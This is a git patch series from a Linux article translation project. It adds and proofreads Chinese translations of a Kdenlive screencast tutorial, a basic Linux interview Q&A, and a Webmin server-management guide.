the beginning and end. - -### Adding a Soundtrack ### - -Please see [Whirlwind Intro to Audacity on Linux: From Recording to CD in One Lesson][2] to learn the basics of recording with Audacity. Export your recording as a 16-bit WAV file and then import it into Kdenlive via Project > Add Clip. Drag your new audio clip down to one of the Audio tracks. An easy way to make your narration is to play your video track and talk as it plays. With a little luck you won't have to do a lot of cleanup, and your commentary will be in sync with the video. - -![](http://www.linux.com/images/stories/41373/fig-4-audio-gap.png) - -*Fig 4: Cut your track with Shift+r and drag one of the clips away from the cut to create a silent gap.* - -If you're a fast talker and get ahead of your video, you can easily add a space in the audio track. Simply cut your track with Shift+r, and drag one of the clips away from the cut to create a silent gap (figure 4). - -### Rendering Your Project ### - -When you're happy with your edits and ready to export to your final format, click the Render button. This takes a few minutes depending on the speed of your computer and size of your project. There are presets for Web, and if you choose File Rendering you can tweak your settings (figure 5). I've gotten good results with File Rendering > H.264, Video bitrate 12000, and audio 384. H.264 is a super-compressed MPEG-4 format that delivers small file sizes and good quality. - -![](http://www.linux.com/images/stories/41373/fig-5-rendering.png) - -*Fig. 5: Choose File Rendering to tweak your Web settings.* - -### YouTube Bound ### - -Play your new video in VLC or MPlayer or whatever you like, and if it looks good then you're ready to upload to your YouTube account. In typical Google fashion your dashboard and video manager are disorganized and complicated, but keep poking around and you'll figure it out. Before you can do anything you'll have to put your account in good standing, which means getting a code number from Google via text or email. When you prove you're not a bot by entering the code number you'll be able to upload videos. - -You can upload your videos and mark them as either private or public. Google has some editing tools you might like, such as auto-fix and music soundtracks, though in my nearly-humble opinion hardly anyone does background music correctly so it's just annoying. But you might be the first to do it right! - -The most useful editing tool is automatic closed-captioning. I recommend using this on all of your videos, not only for people who can't hear very well but for anyone who has to keep the volume low, and to make sure everyone understands what you're saying. The captioning tool also creates a transcript. - -Another useful tool is the annotations tool, which supports speech bubbles, titles, spotlights, and labels. Of course you can do all this in Kdenlive, so you can try both. - -Well, here we are at the end and it seems we've barely begun. Please share your videos and YouTube tips and tricks in the comments. And while you're at it, please share your new video tutorial with us on [video.linux.com][3] and join the 100 Linux Tutorials Campaign. - - - --------------------------------------------------------------------------------- - -via: http://www.linux.com/learn/tutorials/745745-how-to-make-a-youtube-instructional-screencast-video-on-linux/ - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:https://support.google.com/youtube/answer/1722171?hl=en&ref_topic=2888648 -[2]:http://www.linux.com/learn/tutorials/422799-whirlwind-intro-to-audacity-on-linux -[3]:http://video.linux.com/100-linux-tutorials \ No newline at end of file diff --git a/translated/How to Make a YouTube Instructional Screencast Video on Linux.md b/translated/How to Make a YouTube Instructional Screencast Video on Linux.md new file mode 100644 index 0000000000..9862f2384d --- /dev/null +++ b/translated/How to Make a YouTube Instructional Screencast Video on Linux.md @@ -0,0 +1,95 @@ +如何在Linux上制作一个YouTube屏幕录像视频教程 +================================================================================ +一幅画胜过一千句话，一个精心设计的指导视频几乎无价。Linux有你需要的制作有用且高质量教学视频的所有工具。我们将用强大的kdenlive视频编辑器和Audacity音频录制器和编辑器制作一个简单的屏幕录像，并学习如何在YouTube上分享精彩的屏幕录像。 + +一台安装了Kdenlive和Audacit软件的Linux系统PC,一个质量好的麦克风或耳机,和一个YouTube的帐号就是你需要准备的全部。（是的，除了Youtube还有很多其他的免费视频共享服务，欢迎您来探索它们。）YouTube属于Google，因此Google试图诱导你与全世界共享任何人和事。如果这不是你想做的，请说no。 + +我们的工作流程是这样的： + +- 用Kdenlive录制屏幕录像 +- 用Audacity录制音轨 +- 添加音轨到Kdenlive +- 上传到YouTube +- 全世界看你的视频，好开心 + +kdenlive支持最流行的数字视频格式，包括AVI，MP4，H.264，和MOV。它支持的图像文件，如GIF，PNG，SVG和TIFF；支持的音频文件格式，包括非压缩的PCM，Vorbis，WAV，MP3和 AC3。你甚至可以阅读和编辑Flash文件。总之，它可以处理很多东西。 + +你的配音与你的视频一样重要。请一定要重视你的音频。使音频保持干净和简单，保持杂乱的题外话，方言，和去除背景噪声降到最低点。我喜欢用一个质量好的耳机做陈述，因为你不必担心话筒位置，你可以听你自己反复地诉说而不影响到你身边的人。 + +Kdenlive的文档已过期,它会告诉你制作屏幕录像需要RecordMyDesktop软件。我用的是kdenlive 0.9.4，其实不需要Recordmydesktop。 + +![](http://www.linux.com/images/stories/41373/fig-1-settings.png) + +*图 1：默认配置* + +### 制作屏幕录像 ### + +首次安装kdenlive,第一次运行时会启动配置向导。不必在意默认设置，因为你随时都可以改变它们。这是我的屏幕录像的设置：高清720p每秒30帧，1280x720的屏幕尺寸。如何知道使用什么设置项？ [YouTube tells you][1]。设置这些值可到Settings > Configure Kdenlive > Project Defaults > Default Profile > HD 720p 30fps（图1），设置捕捉屏幕的大小到 Settings > Configure Kdenlive > Capture > Screen Grab（图2）。虽然你也可以选择捕捉全屏幕，但最好还是坚持用YouTube规定的尺寸。因为如果使用的尺寸与YouTube规定的不一样,则YouTube将增加Pillarboxes来达到合适的尺寸。热切的观众会更加希望看到一个充满生动的内容的屏幕，而不是Pillarboxes。 + +![](http://www.linux.com/images/stories/41373/fig-2-settings.png) + +*Figure 2: Screencast screen size.*图 2：屏幕录像的屏幕大小 + +默认的YouTube视频播放器的大小是640x360标清320p，又小又模糊。播放器控制着小屏，大屏，全屏，和多个质量等级。这些设置只有你的观众会使用，640x360标清320p看起来真的不咋样，但郁闷的是你无法改变这个缺陷。尽管如此，你仍然想制作高质量视频的话，你可以添加一些文字来提醒观众尝试更好的配置。 + +### 保存你的项目 ### + +在你做任何其他事情之前，点击 File->Save as 保存您的项目，并记住周期性地保存它。 + +### 抓取屏幕 ### + +抓屏小菜一碟。到Record Monitor，选择Screen Grab，然后点击Record按钮。屏幕上将打开一个带虚线的框，框里面的所有内容都将被录制下来。因此，你需要做的所有事就是移动框并调整框的大小到你想要l录制的范围。完成后点击停止按钮（图3）。 + + +![](http://www.linux.com/images/stories/41373/fig-3-screen-grab.png) + +*图 3：屏幕抓取* + +单击Stop，自动打开Clip Monitor，你可以预览你的裁剪效果。如果你喜欢它，把它从Project Tree中拖到Video 1轨道。现在你可以编辑你的视频了。总会有需要你修剪的地方；一个快速的方法是，你在Project Monitor里播放你的剪辑片，直到播放到你需要移除部分的末尾。然后暂停，然后按下Shift+r。你的剪辑片将会在你按下停止的时间轴上的点上被切割为两个剪辑。点击你要删除的片断，按下Delete键，噗！它就消失了。 + +对于剩下的剪辑片断，可能你想要从时间轴上的某一点开始播放，也可能你想要加入一些好的变换。比如一些简单的渐变就相当不错；右键点击你的剪辑片断，点击Add Effect > Fade > Fade from black 和 Fade to black，然后Kdenlive将自动将这两个效果放到开头和末尾。 + +### 添加配音 ### + +请参阅[Whirlwind Intro to Audacity on Linux: From Recording to CD in One Lesson][2]来学习使用Audacity录音的基础。以16bit的wav格式导出你的音频文件，然后通过Project > Add Clip导入到Kdenlive。然后将你的新音频剪辑拖到Audio tracks。一个简单的制作视频陈述的方式是边播视频边说。运气好的话，你不需要做很多的清理工作，你的评述就会与视频同步。 + +![](http://www.linux.com/images/stories/41373/fig-4-audio-gap.png) + +*图 4：用Shift+r切割音轨，然后将其中一个剪辑片从切割点拖离，创建一个静音间隙* + +如果你的语速比视频快,你可以在音轨中添加空档时间.很简单,用Shift+r切割音轨，然后将其中一个剪辑片从切割点拖离，创建一个静音间隙。（图4）。 + +### Rendering Your Project ### 渲染你的项目 + +当你满意自己的编辑，并准备导出你的最终格式时，点击Render按钮。这需要几分钟的时间，取决于你的电脑速度和项目大小。网页已有预先设定的值，如果你选择File Rendering， 你可以调整你的设置（图5）。我用File Rendering中的H.264，Video比特率12000， Audio比特率384取得了不错的效果。H.264是一种超压缩格式，使用这种格式发布的文件小但质量好。 + + +![](http://www.linux.com/images/stories/41373/fig-5-rendering.png) + +*图 5：选择文件渲染，调整你的网页设置* + +### YouTube Bound ###YouTube的装订 + +现在你可以在VLC或MPlayer或你喜欢的任何播放器中播放你的视频了,如果它看起来很好,那么你就可以将它上传到你的YouTube帐户里了。以典型的Google风格，你的信息中心和视频管理器会混乱又复杂，不过请坚持到处瞅瞅，你会理出头绪的。在你做任何事情之前，你必须对你的账户做资格认证，也就是通过短信和邮件获得一个验证码。通过输入验证码证明你不是一个网络爬虫后，你就能上传你的视频了。 + + +你可以上传你的视频，然后标记它们为私人可见或所有人可见。Google有一些编辑工具，你可能会喜欢，比如自动纠错和配背景音乐。不过以我的拙见，几乎没有人是这样子做背景音乐的，所以这种工具只会令人讨厌。不过你有可能是第一个正确使用这个工具的人哦。 + +最有用的编辑工具是自动闭路字幕。我推荐在你所有的视频上使用此功能，不光是为了那些听觉障碍的人，也为了那些需要保持低音量观看的人，确保所有的人都明白你在说什么。字幕工具还创建一个副本。 + +另一个有用的工具是注释工具，它支持言语泡沫，标题，聚光灯和标签。当然，在Kdenlive中，这些你都可以做到，所以都可以尝试一下。 + +好吧，到这里就结束了，但似乎我们刚刚开始。请分享你的视频，并在评论中添加Youtube的小建议和技巧。如果可以的话，请在[video.linux.com][3]分享你的新的视频教程，并加入100个Linux教程活动。 + + +-------------------------------------------------------------------------------- + +来源于: http://www.linux.com/learn/tutorials/745745-how-to-make-a-youtube-instructional-screencast-video-on-linux/ + +译者：[coolpigs](https://github.com/coolpigs) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://support.google.com/youtube/answer/1722171?hl=en&ref_topic=2888648 +[2]:http://www.linux.com/learn/tutorials/422799-whirlwind-intro-to-audacity-on-linux +[3]:http://video.linux.com/100-linux-tutorials \ No newline at end of file From 81adc9f82af0ae1752527a3221d2653d68739f59 Mon Sep 17 00:00:00 2001 From: jasminepeng Date: Fri, 29 Nov 2013 16:16:30 +0800 Subject: [PATCH 050/148] =?UTF-8?q?=E6=A0=A1=E5=AF=B9=E4=B8=AD?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- translated/11 Basic Linux Interview Questions and Answers.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/translated/11 Basic Linux Interview Questions and Answers.md b/translated/11 Basic Linux Interview Questions and Answers.md index d2d665f004..868f8d0192 100644 --- a/translated/11 Basic Linux Interview Questions and Answers.md +++ b/translated/11 Basic Linux Interview Questions and Answers.md @@ -92,6 +92,6 @@ via: http://www.tecmint.com/basic-linux-interview-questions-and-answers/ -译者：[译者ID](https://github.com/l3b2w1) 校对：[校对者ID](https://github.com/校对者ID) +译者：[l3b2w1](https://github.com/l3b2w1) 校对：[jasminepeng](https://github.com/jasminepeng) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file From 4cf9f34f253b6ca9da2eb1561ff7e7fc466bbbe3 Mon Sep 17 00:00:00 2001 From: jasminepeng Date: Fri, 29 Nov 2013 16:51:25 +0800 Subject: [PATCH 051/148] =?UTF-8?q?=E6=A0=A1=E5=AF=B9=E5=AE=8C=E6=AF=95?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...c Linux Interview Questions and Answers.md | 34 +++++++++---------- 1 file changed, 17 insertions(+), 17 deletions(-) diff --git a/translated/11 Basic Linux Interview Questions and Answers.md b/translated/11 Basic Linux Interview Questions and Answers.md index 868f8d0192..94ced43984 100644 --- a/translated/11 Basic Linux Interview Questions and Answers.md +++ b/translated/11 Basic Linux Interview Questions and Answers.md @@ -1,12 +1,12 @@ -11个基础性Linux问答访谈 +11个Linux基础面试问题 ================================================================================ -没有理论，我们在此高调宣布Tecmint新的板块诞生，专门致力于Linux。我们将带领你走进"Linux访谈"以及Linux其它的方方面面。在这样一个激烈竞争的世界，对于一个行业来说，此举必不可少。 +我们在此自豪地宣布Tecmint新的板块诞生，它抛开理论，专门致力于Linux面试。我们将带领你走进"Linux面试问题"以及Linux其它的方方面面。在这样一个激烈竞争的世界，这些是一个专业人员必备的知识。 ![](http://www.tecmint.com/wp-content/uploads/2013/11/Basic-Interview-Questions.png) -该板块 (**Linux 访谈**) 每个周末都会发表新的文章。**Tecmint**开创的这个访谈栏目在所有致力于linux发展的网站中尚属首创，文章独有，质量上乘。 +该板块 (**Linux 面试**) 每个周末都会发表新的文章。**Tecmint**开创的这个访谈栏目在所有致力于linux发展的网站中尚属首创，文章独有，质量上乘。 -我们以**基础Linux访谈**开始，逐步引入涉及高级话题的文章，对此，我们非常期待你的答复，因为这将使我们万众瞩目。 +我们以**Linux基础面试问题**开始，逐步引入涉及高级话题的文章，对此，我们非常期待你的答复，因为这有利于我们提升。 #### Q.1: Linux 操作系统的核心是什么? #### - Shell @@ -15,7 +15,7 @@ - Script - Terminal -> **答**: 内核是Linux 操作系统的核心。Shell是一个命令行解释器，命令是针对计算机的指令，脚本是存储在文件中的命令的集合，终端是命令行接口。 +> **答**: 内核(Kernel)是Linux 操作系统的核心。Shell是一个命令行解释器，命令（Command）是针对计算机的指令，脚本(Script)是存储在文件中的命令的集合，终端(Termial)是命令行接口。 #### Q.2: Linus Torvalds 都创建过什么东东? #### - Fedora @@ -32,19 +32,19 @@ 剩下的1,972,615行则是使用C++，汇编，Perl, Shell Script, Python, Bash Script, HTML, awk, yacc, lex, sed等。 -**注**：代码行数每天都在变动，平均每天超过3,509行代码被添加到内核。 +**注**：代码行数每天都在变动，平均每天超过3,509行代码添加到内核。 -#### Q.4: 起初，Linux 是为 Intel X86 架构编写的，但是后来移植到了其它平台上，你同意吗 ?. #### +#### Q.4: 起初，Linux 是为 Intel X86 架构编写的，但是后来比其他操作系统移植的硬件平台都多，你同意吗 ?. #### -> **答**: 是的，我同意。Linux那时候是为x86机器写的，而且现已移至到所有类型的平台。今天超过90%的超级计算机都在使用Linux。Linux在移动手机和平板电脑领域前景广阔。事实上我们被Linux包围着，遥控器，太空科学，研究，网络，台式机。举之不尽。 +> **答**: 是的，我同意。Linux那时候是为x86机器写的，而且现已移至到所有类型的平台。今天超过90%的超级计算机都在使用Linux。Linux在移动手机和平板电脑领域前景广阔。事实上我们被Linux包围着，远程遥控，太空科学，研究，Web，桌面计算等等，举之不尽。 -### Q.5: 编辑 Linux Kernel 合法吗? #### +### Q.5: 编辑 Linux 内核合法吗? #### -> **答**: 是的，内核基于GPL发布，任何人都可以随意编辑内核，当然得基于GPL。Linux内核起源于免费开源软件（FOSS）的概念。 +> **答**: 是的，内核基于GPL发布，任何人都可以基于GPL允许的权限随意编辑内核。Linux内核位于免费开源软件（FOSS）类别中。 #### Q.6: UNIX和Linux操作系统，本质上的不同在哪里？#### -> **答**: Linux操作系统属于开源软件，内核是由 Linus Torvalds 和开源社区共同开发的。你不能说UNIX操作系统不是来源于免费开源软件的范畴，BSD 是基于FOSS 范畴的UNIX 的变种。而且大公司如，Apple，IBM，Oracle，HP等，都在为UNIX内核贡献代码。 +> **答**: Linux操作系统属于免费开源软件，内核是由 Linus Torvalds 和开源社区共同开发的。你不能说UNIX操作系统不是来源于免费开源软件的范畴，BSD 是基于FOSS 范畴的UNIX 的变种。而且大公司如，Apple，IBM，Oracle，HP等，都在为UNIX内核贡献代码。 #### Q. 7: 挑出来一个与众不同的来. #### - HP-UX @@ -53,13 +53,12 @@ - Slackware - Solaris -> **答** : Slackware 就是那个稀奇古怪的那个. HP-UX, AIX, OSX, Solaris 分别是由 HP, IBM, APPLE, Oracle 开发的，并且都是UNIX的变种. Slackware 则是一个Linux操作系统. +> **答** : Slackware. HP-UX, AIX, OSX, Solaris 分别是由 HP, IBM, APPLE, Oracle 开发的，并且都是UNIX的变种. Slackware 则是一个Linux操作系统. > #### Q.8: Linux 不会感染病毒码? #### -> **答** : 当然会! 这个地球上不存在不会感染病毒的操作系统。但是Linux以病毒数量的稀有而著称，至今，是的，甚至比UNIX还要少。Linux迄今榜上有名的病毒只有60-100个。而如今没有一个病毒在传播蔓延。Unix粗略估计有85-120个。 +> **答** : 当然会! 这个地球上不存在不会感染病毒的操作系统。但是Linux以迄今为止病毒数量少而著称，是的，甚至比UNIX还要少。Linux榜上有名的病毒只有60-100个，而且没有一个病毒在传播蔓延。Unix粗略估计有85-120个。 -#### Q.9: Linux is which kind of Operating System? #### #### Q.9: Linux 属于哪种类型的操作系统? #### - 多用户 - 多任务 @@ -75,9 +74,9 @@ - command [选项] [参数] - command 选项 参数 -> **答** : Linux 命令的正确语法是, 命令 [选项] [参数]. +> **答** : Linux 命令的正确语法是, Command [选项] [参数]. + -#### Q.11: Choose the odd one out. #### #### Q.11: 挑出来一个与众不同的来. #### - Vi @@ -87,7 +86,8 @@ > **答** : cd 与其他命令不同。Vi，vim和 nano都是编辑器，用于编辑文档，而cd是用于切换目录的命令。 -就这么多了。上述问题你学到手几个？效果如何？我们期待着你的评论。下周，会有新的问题，让我们拭目以待。保持健康，协调，记得链接**Tecmint**哦。 +就这么多了。上述问题你学到手几个？效果如何？我们期待着你的评论。下周，会有新的问题，让我们拭目以待。保持健康，锁定链接，记得来**Tecmint**哦。 + -------------------------------------------------------------------------------- via: http://www.tecmint.com/basic-linux-interview-questions-and-answers/ From b0d040464730dacaa5f2925b0ce0e6eb89adb009 Mon Sep 17 00:00:00 2001 From: NearTan Date: Fri, 29 Nov 2013 18:55:30 +0800 Subject: [PATCH 052/148] translating by NearTan --- sources/How to setup EPEL repository on CentOS 5 or 6.md | 1 + 1 file changed, 1 insertion(+) diff --git a/sources/How to setup EPEL repository on CentOS 5 or 6.md b/sources/How to setup EPEL repository on CentOS 5 or 6.md index 3a368d585b..7308f79ec2 100644 --- a/sources/How to setup EPEL repository on CentOS 5 or 6.md +++ b/sources/How to setup EPEL repository on CentOS 5 or 6.md @@ -1,3 +1,4 @@ + NearTan 选题 How to setup EPEL repository on CentOS 5/6 ================================================================================ What is EPEL repository From b29a63fc03a6ff02cb63dbd3f9f0c01e4c6b4027 Mon Sep 17 00:00:00 2001 From: stduolc Date: Fri, 29 Nov 2013 21:07:45 +0800 Subject: [PATCH 053/148] [translating] by stduolc, How to Crack a Wi-Fi Network's WEP Password with BackTrack --- ...How to Crack a Wi-Fi Network's WEP Password with BackTrack.md | 1 + 1 file changed, 1 insertion(+) diff --git a/sources/How to Crack a Wi-Fi Network's WEP Password with BackTrack.md b/sources/How to Crack a Wi-Fi Network's WEP Password with BackTrack.md index 3af54a1a08..3a948774ba 100644 --- a/sources/How to Crack a Wi-Fi Network's WEP Password with BackTrack.md +++ b/sources/How to Crack a Wi-Fi Network's WEP Password with BackTrack.md @@ -1,3 +1,4 @@ +[翻译中]by stduolc How to Crack a Wi-Fi Network's WEP Password with BackTrack ================================================================================ ![](http://img.gawkerassets.com/img/17idgc21242wbjpg/ku-xlarge.jpg) From 5ec05ad23f2c19dca69e49e01737a42c0f8e4306 Mon Sep 17 00:00:00 2001 From: wxy Date: Sat, 30 Nov 2013 08:28:33 +0800 Subject: [PATCH 054/148] =?UTF-8?q?=E5=8F=91=E5=B8=83=EF=BC=9A11=20Basic?= =?UTF-8?q?=20Linux=20Interview=20Questions=20and=20Answers?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...c Linux Interview Questions and Answers.md | 42 ++++++++----------- 1 file changed, 17 insertions(+), 25 deletions(-) rename {translated => published}/11 Basic Linux Interview Questions and Answers.md (57%) diff --git a/translated/11 Basic Linux Interview Questions and Answers.md b/published/11 Basic Linux Interview Questions and Answers.md similarity index 57% rename from translated/11 Basic Linux Interview Questions and Answers.md rename to published/11 Basic Linux Interview Questions and Answers.md index 94ced43984..4f60cf61ef 100644 --- a/translated/11 Basic Linux Interview Questions and Answers.md +++ b/published/11 Basic Linux Interview Questions and Answers.md @@ -1,14 +1,7 @@ 11个Linux基础面试问题 ================================================================================ -我们在此自豪地宣布Tecmint新的板块诞生，它抛开理论，专门致力于Linux面试。我们将带领你走进"Linux面试问题"以及Linux其它的方方面面。在这样一个激烈竞争的世界，这些是一个专业人员必备的知识。 -![](http://www.tecmint.com/wp-content/uploads/2013/11/Basic-Interview-Questions.png) - -该板块 (**Linux 面试**) 每个周末都会发表新的文章。**Tecmint**开创的这个访谈栏目在所有致力于linux发展的网站中尚属首创，文章独有，质量上乘。 - -我们以**Linux基础面试问题**开始，逐步引入涉及高级话题的文章，对此，我们非常期待你的答复，因为这有利于我们提升。 - -#### Q.1: Linux 操作系统的核心是什么? #### +### Q.1: Linux 操作系统的核心是什么? ### - Shell - Kernel - Command @@ -17,7 +10,7 @@ > **答**: 内核(Kernel)是Linux 操作系统的核心。Shell是一个命令行解释器，命令（Command）是针对计算机的指令，脚本(Script)是存储在文件中的命令的集合，终端(Termial)是命令行接口。 -#### Q.2: Linus Torvalds 都创建过什么东东? #### +### Q.2: Linus Torvalds 都创建过什么东东? ### - Fedora - Slackware - Debian @@ -26,7 +19,7 @@ > **答**: Linux Torvalds 创建了Linux，Linux是所有上述操作系统的核心，同样也是其他一些Linux 操作系统的核心。 -#### Q.3: Torvalds, 使用C++语言编写了Linux内核的大部分代码，你同意吗? #### +### Q.3: Torvalds，使用C++语言编写了Linux内核的大部分代码，是这样吗? ### > **答**: 不! Linux内核包含了12,020,528行代码，其中注释占去了2,151,595 行。因此剩下的9,868,933 行就是纯代码了。而其中7,896,318行都是用C语言写的。 @@ -34,50 +27,49 @@ **注**：代码行数每天都在变动，平均每天超过3,509行代码添加到内核。 -#### Q.4: 起初，Linux 是为 Intel X86 架构编写的，但是后来比其他操作系统移植的硬件平台都多，你同意吗 ?. #### +### Q.4: 起初，Linux 是为 Intel X86 架构编写的，但是后来比其他操作系统移植的硬件平台都多，是这样吗 ？ ### > **答**: 是的，我同意。Linux那时候是为x86机器写的，而且现已移至到所有类型的平台。今天超过90%的超级计算机都在使用Linux。Linux在移动手机和平板电脑领域前景广阔。事实上我们被Linux包围着，远程遥控，太空科学，研究，Web，桌面计算等等，举之不尽。 -### Q.5: 编辑 Linux 内核合法吗? #### +### Q.5: 编辑 Linux 内核合法吗? ### -> **答**: 是的，内核基于GPL发布，任何人都可以基于GPL允许的权限随意编辑内核。Linux内核位于免费开源软件（FOSS）类别中。 +> **答**: 是的，内核基于GPL发布，任何人都可以基于GPL允许的权限随意编辑内核。Linux内核属于免费开源软件（FOSS）。 -#### Q.6: UNIX和Linux操作系统，本质上的不同在哪里？#### +### Q.6: UNIX和Linux操作系统，本质上的不同在哪里？### -> **答**: Linux操作系统属于免费开源软件，内核是由 Linus Torvalds 和开源社区共同开发的。你不能说UNIX操作系统不是来源于免费开源软件的范畴，BSD 是基于FOSS 范畴的UNIX 的变种。而且大公司如，Apple，IBM，Oracle，HP等，都在为UNIX内核贡献代码。 +> **答**: Linux操作系统属于免费开源软件，内核是由 Linus Torvalds 和开源社区共同开发的。当然我们不能说UNIX操作系统和免费开源软件（FOSS）无关，BSD 就是基于 FOSS 范畴的 UNIX 的变种。而且大公司如 Apple，IBM，Oracle，HP等，都在为UNIX内核贡献代码。 -#### Q. 7: 挑出来一个与众不同的来. #### +### Q. 7: 挑出来一个与众不同的来. ### - HP-UX - AIX - OSX - Slackware - Solaris -> **答** : Slackware. HP-UX, AIX, OSX, Solaris 分别是由 HP, IBM, APPLE, Oracle 开发的，并且都是UNIX的变种. Slackware 则是一个Linux操作系统. -> -#### Q.8: Linux 不会感染病毒码? #### +> **答** : Slackware。 HP-UX, AIX, OSX, Solaris 分别是由 HP, IBM, APPLE, Oracle 开发的，并且都是UNIX的变种. Slackware 则是一个Linux操作系统. + +### Q.8: Linux 不会感染病毒吗? ### > **答** : 当然会! 这个地球上不存在不会感染病毒的操作系统。但是Linux以迄今为止病毒数量少而著称，是的，甚至比UNIX还要少。Linux榜上有名的病毒只有60-100个，而且没有一个病毒在传播蔓延。Unix粗略估计有85-120个。 -#### Q.9: Linux 属于哪种类型的操作系统? #### +### Q.9: Linux 属于哪种类型的操作系统? ### - 多用户 - 多任务 - 多线程 - 以上所有 - 以上都不是 -> **答** : 以上所有. Linux是一个支持多用户，可以同时运行多个进程执行多个任务的操作系统。 +> **答** : 以上所有。Linux是一个支持多用户，可以同时运行多个进程执行多个任务的操作系统。 -#### Q.10: 任意 Linux 命令的语法格式: #### +### Q.10: 一般的 Linux 命令的语法格式是： ### - command [选项] [参数] - command 选项 [参数] - command [选项] [参数] - command 选项 参数 -> **答** : Linux 命令的正确语法是, Command [选项] [参数]. +> **答** : Linux 命令的正确语法是, Command [选项] [参数]。 - -#### Q.11: 挑出来一个与众不同的来. #### +### Q.11: 挑出来一个与众不同的来. ### - Vi - vim From 9bb07fa13fa2b0f344957e294d371484a776f6b0 Mon Sep 17 00:00:00 2001 From: wxy Date: Sat, 30 Nov 2013 08:58:37 +0800 Subject: [PATCH 055/148] =?UTF-8?q?=E5=8F=91=E5=B8=83=EF=BC=9AHow=20to=20m?= =?UTF-8?q?anage=20Linux=20server=20with=20GUI?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../How to manage Linux server with GUI.md | 46 +++++++++++-------- 1 file changed, 28 insertions(+), 18 deletions(-) rename {translated => published}/How to manage Linux server with GUI.md (53%) diff --git a/translated/How to manage Linux server with GUI.md b/published/How to manage Linux server with GUI.md similarity index 53% rename from translated/How to manage Linux server with GUI.md rename to published/How to manage Linux server with GUI.md index 4e5496503d..49dc9ffbe4 100644 --- a/translated/How to manage Linux server with GUI.md +++ b/published/How to manage Linux server with GUI.md @@ -1,14 +1,14 @@ -如何使用图形界面管理linux服务器 +如何使用图形界面Webmin管理linux服务器 ================================================================================ -一台典型的linux服务器运行在预先载入了一些基本工具和配置服务的命令行界面环境中。和一些成熟的具有图形界面的桌面软件相比，就安全性、资源消费和速度来说，如此小的配置无疑是一个优点。 +一台典型的linux服务器运行命令行环境中，并已经包括了一些用于安装和配置各种没有界面的服务的基本工具。和一些成熟的具有图形界面的桌面软件相比，就安全性、资源消费和速度来说，仅需要少量的设置无疑是一个优点。 -如果你习惯了使用基于图形界面的软件环境，你也许会想在Linux服务器中是否也有图形界面。典型的Linux桌面环境如`GNOME`、`KDE`等，它们提供的功能相比带来的系统资源负担是不值得，而且还不够安全因为更多的代码会带来安全弱点。 +如果你习惯了使用基于图形界面的软件环境，你也许会想在Linux服务器中是否也有图形界面。典型的Linux桌面环境如`GNOME`、`KDE`等，与它们提供的功能相比，其所占用的系统资源负担是很不值得的，而且还不够安全，因为越多的代码越会带来安全弱点。 -替换成熟的基于图形界面桌面系统的一种可选方法是使用 **基于Web的管理工具**。现在已经有许多基于Web的配置管理工具, 如 [Webmin][1], [ISPconfig][2], [Zentyal][3], 等。 +另外一个成熟的桌面GUI的可选替代是使用 **基于Web的管理工具**。现在已经有许多基于Web的配置管理工具，如 [Webmin][1]、[ISPconfig][2]、[Zentyal][3]等。 -在这篇教程中, 我会讲述 **怎样利用基于Web的界面工具来管理和配置Linux服务器**. +在这篇教程中, 我会讲述 **怎样利用基于Web的界面工具来管理和配置Linux服务器**。 -Webmin 是一个用`Perl`语言写的轻量级 (~20 MB) 系统配置工具。 Webmin 具有内置的web服务器， 允许用户通过web接口来配置Linux服务器。 其中一个优点是由于它是基于模块架构的，你可以选择性加载模块来扩展其功能。 +Webmin 是一个用`Perl`语言写的轻量级 (~20 MB) 系统配置工具。 Webmin 具有内置的web服务器， 允许用户通过web接口来配置Linux服务器。 其中一个优点是由于它是基于模块架构的，你可以选择性加载[模块][12]来扩展其功能。 ### Linux服务器上安装Webmin ### @@ -23,13 +23,13 @@ Webmin 是一个用`Perl`语言写的轻量级 (~20 MB) 系统配置工具。 We $ wget http://prdownloads.sourceforge.net/webadmin/webmin_1.660_all.deb $ sudo rpm -U webmin-1.660-1.noarch.rpm -### 使用 Webmin ### +### 使用 Webmin ### -一旦你安装了Webmin, 你可以通过在浏览器中输入 https://:10000 来使用。 如果你开启了防火墙， 请确保TCP端口 10000 没有被使用。 +安装好Webmin之后，你可以通过在浏览器中输入 https://\<主机的IP地址\>:10000 来使用。 如果你开启了防火墙， 请确保TCP端口 10000 没有被拦截。 同时， 请注意你应该使用 HTTPS， 而不是 HTTP。 否则， 会出现重定向错误。 Webmin 默认使用其自己生成的的SSL验证模式。 -一旦你进入了Webmin登录页面， 你可以使用root身份登录 (当然需要输入root账户密码) 或者使用具有root权限的任何用户账户登录。 登录成功后， 你可以看到如下Linux服务器的状态信息。 +一旦你进入了Webmin登录页面， 你可以使用root身份登录 （当然需要输入root账户密码）或者使用具有root权限的任何用户账户登录。 登录成功后， 你可以看到如下Linux服务器的状态信息。 [![](http://farm4.staticflickr.com/3803/10937800943_e1ac465c3f_z.jpg)][4] @@ -37,27 +37,33 @@ Webmin 是一个用`Perl`语言写的轻量级 (~20 MB) 系统配置工具。 We Webmin 一个引以为豪的优点就是它几乎能够配置任何Linux服务器所支持的配置。接下来我来介绍，让你们大体了解它的一些重要功能。 -开启或关闭 boot-time 服务， 同时会显示他们相关配置信息。 +设置引导时自动启动的服务， 同时显示他们相关配置信息。 [![](http://farm8.staticflickr.com/7437/10937589506_7abcaac10e_z.jpg)][5] -实时监控服务器状态和其他服务， 同时配置调度监控和提醒邮件。 你也可以监控一系列服务器守护进程如 NFS, MySQL, BIND DNS, Squid proxy, Apache Web server等， 或者系统资源如 磁盘信息 (disk storage)、内存和网络故障(memory or network traffic)等。 +实时监控服务器状态和其他服务， 同时配置定时监控及邮件提醒。 你也可以监控一系列服务器守护进程如 NFS、MySQL、 BIND DNS、Squid proxy、Apache Web server等， 